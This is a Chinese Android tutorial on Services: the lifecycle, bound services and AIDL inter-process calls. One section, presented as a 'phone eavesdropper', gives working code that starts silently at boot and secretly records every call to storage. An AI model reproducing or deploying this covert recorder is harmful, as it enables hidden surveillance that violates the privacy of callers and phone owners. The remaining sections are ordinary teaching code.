欢迎访问移动开发之家(rcyd.net),关注移动开发教程。移动开发之家  移动开发问答|  每日更新
页面位置 : > > > 内容正文

android开发 - Service服务

来源: 开发者 投稿于  被查看 45607 次 评论:38

android开发 - Service服务


\

 

 

Service没有UI,因为service是后台运行


如:下载,网络I/O 等等


Service的生命周期
从它被创建开始,到它被销毁为止,


onCreate();
onStartCommand();
onBind();
onUnbind();
onRebind();
onDestroy();

一般分为三种方式


第一种:
当采用Context.startService()方法启动服务,与之有关


的生命周期方法
onCreate() -> onStartCommand() -> onDestroy()

onCreate()该方法在服务被创建时调用,该方法只会被调


用一次,无论调用多少次startService()或bindService()方


法,服务也只被创建一次
onStart() 只有采用Context.startService()方法启动服


务时才会调用该方法,该方法在服务开始运行时被调用,多次


调用startService()方法尽管不会多次创建服务,但onStart


()方法会被多次调用
onDestroy()该方法在服务被终止时调用


第二种:
当采用Context.bindService()方法启动服务,与之有关


的生命周期方法
onCreate() -> onBind() -> onUnbind() -> onDestroy


()
onBind() 只有采用Context.bindService()方法启动服务


时才会回调该方法,该方法在调用者与服务绑定时被盗用,当


调用者与服务已经绑定,多次调用,Context.bindService()方


法并不会导致该方法被多次调用。
onUnbind()只有采用Context.bindService()方法启动服


务时才会回调该方法,该方法在调用者与服务解除绑定时被调


用。


第三种:混合启动绑定服务
如果先采用startService()方法启动服务,然后调用


bindService方法绑定到服务,在调用unbindService()方法


解除绑定,最后调用bindService()方法再次绑定到服务,触


发的生命周I方法如下:
onCreate() ->
onStartCommand() ->
onBind() -> onUnbind()[重载后的方法需返回true]


->
onRebind()






采用Service实现电话窃听器


1.新建一个类继承Service
/*
* 采用Service实现电话窃听器
*/
public class PersonService extends Service {


// 该方法只会被调用一次
@Override
public void onCreate() {
super.onCreate();
// 取得电话管理服务
TelephonyManager telephonyManager =


(TelephonyManager) getSystemService


(Context.TELEPHONY_SERVICE);
telephonyManager.listen(new


PhoneListener(),



PhoneStateListener.LISTEN_CALL_STATE);


}


// 电话监听器
private final class PhoneListener extends


PhoneStateListener {
private String incomingNumberString;
private MediaRecorder mediaRecorder;
private File file;


@Override
public void onCallStateChanged(int


state, String incomingNumber) {
switch (state) {
// 来电
case


TelephonyManager.CALL_STATE_RINGING:



this.incomingNumberString = incomingNumber;


break;
// 接通电话
case


TelephonyManager.CALL_STATE_OFFHOOK:
try {
file = new


File(Environment.getExternalStorageDirectory(),



incomingNumber + System.currentTimeMillis());
mediaRecorder


= new MediaRecorder();



mediaRecorder.setAudioSource


(MediaRecorder.AudioSource.MIC);
mediaRecorder



.setOutputFormat


(MediaRecorder.OutputFormat.THREE_GPP);
mediaRecorder



.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);



mediaRecorder.setOutputFile(file.getAbsolutePath());



mediaRecorder.prepare();// 准备



mediaRecorder.start();// 开始录音
} catch (IOException


e) {
}
break;
// 挂断电话回归到空闲状态
case


TelephonyManager.CALL_STATE_IDLE:
if (mediaRecorder !=


null) {



mediaRecorder.stop();



mediaRecorder.release();
mediaRecorder


= null;
}
break;
}
}
}


@Override
public IBinder onBind(Intent intent) {
return null;
}
}


2.配置清单文件



3.服务是不能自己运行的是需要调用启动服务
比如说,开机启动,那么需要使用广播接收者,
然后从广播启动服务


开机启动的广播接收者配置


android:name="com.example.service_demo.broadcast.MyBro


adcast">



android:name="android.intent.action.BOOT_COMPLETED"


/>





代码:
public class MyBroadcast extends BroadcastReceiver {


@Override
public void onReceive(Context context, Intent


intent) {
context.startService(new Intent


(context,MyService.class));
}
}






4.配置必要的权限



android:name="android.permission.READ_PHONE_STATE" />



android:name="android.permission.WRITE_EXTERNAL_STORAG


E" />



android:name="android.permission.MOUNT_UNMOUNT_FILESYS


TEMS" />



android:name="android.permission.INTERNET" />



android:name="android.permission.RECORD_AUDIO" />




5.现在就可以启动了
然后打电话就会被录音


现在服务是在系统中启动了,但是怎么停止了?
如果不显示关闭服务,而是由系统自己来关闭,就是当内存


不够时,先终结掉后台继承,如果后台进程还不够,那么就


需要结束掉服务进程

手动调用关闭服务是
Context.stopService();


















建立能与访问者进行相互通信的本地服务


通过startService()和stopService()启动关闭服务,适用于


服务和访问者之间没有交互的情况


如果服务和访问者之间需要方法调用或者传递参数,则需要使


用bindService()和unbindServie()方法启动关闭服务


采用Context.bindService()方法启动服务,在服务未被创建


时,系统会先调用服务的onCreate()方法,接着调用onBind()


方法,这个时候访问者和服务绑定在一起,如果访问者要与服


务进行通信,那么,onBind()方法必须返回IBinder对象,


如果访问者退出了,系统就会先调用服务器的onUnbind(),接


着调用onDestroy()方法,如果调用bindService()方法前服务


已经被绑定多次调用bindService()方法并不会导致多次创


建服务及绑定(也就是说onCreate()和onBind()方法并不会被


多次调用),


如果访问者希望与正在绑定的服务解除绑定,可以调用


unbindService()方法,调用该方法也会导致调用系统的


unbind() -> onDestroy()






访问者调用服务中的方法


1.当我们启动调用bindService()时,系统会调用Service类的


onBind()方法 ,返回IBinder对象,所以我们创建一个内部类


继承自Binder,并且声明一个全局IBinder对象,返回Binder对


象的实例


2.创建一个继承service的类

/*
* 绑定服务的过程是:客户启动服务,服务返回一个IBinder


对象
* 由于IBinder是一个接口,所以我们需要自定一个类继承


Binder对象,然后把这个类的实例对象给接口对象
* 在将这个接口对象给返回
*/
public class MyService extends Service {


private String[] nameStrings = {"小明","小


王","夏利","校长"};

private IBinder binder = new StudentBinder();

public String query(int id){
if(id > 0 && id < 4){
return nameStrings[id-1];
}
return null;
}

@Override
public IBinder onBind(Intent intent) {
return binder;
}

private class StudentBinder extends Binder


implements IStudent{
public String queryStudent(int id){
return query(id);
}
}
}


3.创建一个接口
public interface IStudent {
String queryStudent(int id);
}


4.在Activity中调用

public class MainActivity extends Activity {


private ServiceConnection conn= new


StudentServiceConnection();
private IStudent iStudent;

@Override
protected void onCreate(Bundle savedInstanceState)


{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

final TextView tv = (TextView)


this.findViewById(R.id.textview);
final EditText txt = (EditText)


this.findViewById(R.id.editText);
this.findViewById


(R.id.button).setOnClickListener(new


View.OnClickListener() {
@Override
public void onClick(View v) {
String text =


iStudent.queryStudent(Integer.valueOf(txt.getText


().toString()));
tv.setText(text);
}
});




Intent service = new Intent


(this,MyService.class);
bindService(service, conn, BIND_AUTO_CREATE);
}

private class StudentServiceConnection implements


ServiceConnection{
@Override
public void onServiceConnected


(ComponentName name, IBinder service) {
iStudent = (IStudent)service;
}

@Override
public void onServiceDisconnected


(ComponentName name) {
iStudent = null;
}
}

@Override
protected void onDestroy() {
//当activity被摧毁时注销绑定
unbindService(conn);
super.onDestroy();
}
}






这种服务就类似QQ中的发送一条消息,需要经过这样的服务过



当然,发送UDP信息,没有写,这里只是讲绑定服务需要执行


的过程






























使用AIDL和远程服务实现进程通信


AIDL就是进程间通信


Android Interface Definition Language


AIDL是一种接口定义语言,用于约束两个进程间的通讯规则,
供编译器生成代码








1.新建一个项目 作为服务端
新建一个接口,并且把这个.java文件格式改成.aidl
并且不能有访问修饰符
刷新项目,在gen下会生成一个文件,不过这里的文件不需


要我们来改,系统自动生成的


2.现在创建一个服务
代码
public class queryStudentService extends Service {
private IBinder binder = new


StudentQueryBinder();
private String[] str = {"小王","呵呵","哈哈"};
public String query(int id){
return str[id];
}

@Override
public IBinder onBind(Intent intent) {

return binder;
}

private final class StudentQueryBinder extends


StudentQuery.Stub{


@Override
public String queryStudent(int number)


throws RemoteException {
return query(number);
}
}
}

配置文件


android:name="com.example.android_remote_aidl.service.


queryStudentServic">


android:name="com.enenya.service.queryStudentService"/


>





3.写一个客户端
把服务端的那个aidl包复制到客户端项目中来
public class MainActivity extends Activity {


private ServiceConnection conn = new


StudentServiceConnection();
private StudentQuery studentQuery;

@Override
protected void onCreate(Bundle savedInstanceState)


{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);


final TextView tv = (TextView)


this.findViewById(R.id.textview);
final EditText editText = (EditText)


this.findViewById(R.id.edittext);
this.findViewById


(R.id.button).setOnClickListener(new


View.OnClickListener(){
@Override
public void onClick(View v) {
try {
String aString


= studentQuery.queryStudent(Integer.valueOf


(editText.getText().toString()));
tv.setText


(aString);
} catch


(NumberFormatException e) {
// TODO Auto-


generated catch block



e.printStackTrace();
} catch


(RemoteException e) {
// TODO Auto-


generated catch block



e.printStackTrace();
}


}
});


Intent service = new Intent


("com.enenya.service.queryStudentService");
bindService(service, conn, BIND_AUTO_CREATE);
}


private class StudentServiceConnection implements


ServiceConnection{


@Override
public void onServiceConnected


(ComponentName name, IBinder service) {
studentQuery =


StudentQuery.Stub.asInterface(service);
}


@Override
public void onServiceDisconnected


(ComponentName name) {
studentQuery = null;
}
}

@Override
protected void onDestroy() {
unbindService(conn);
super.onDestroy();
}


}










































 

用户评论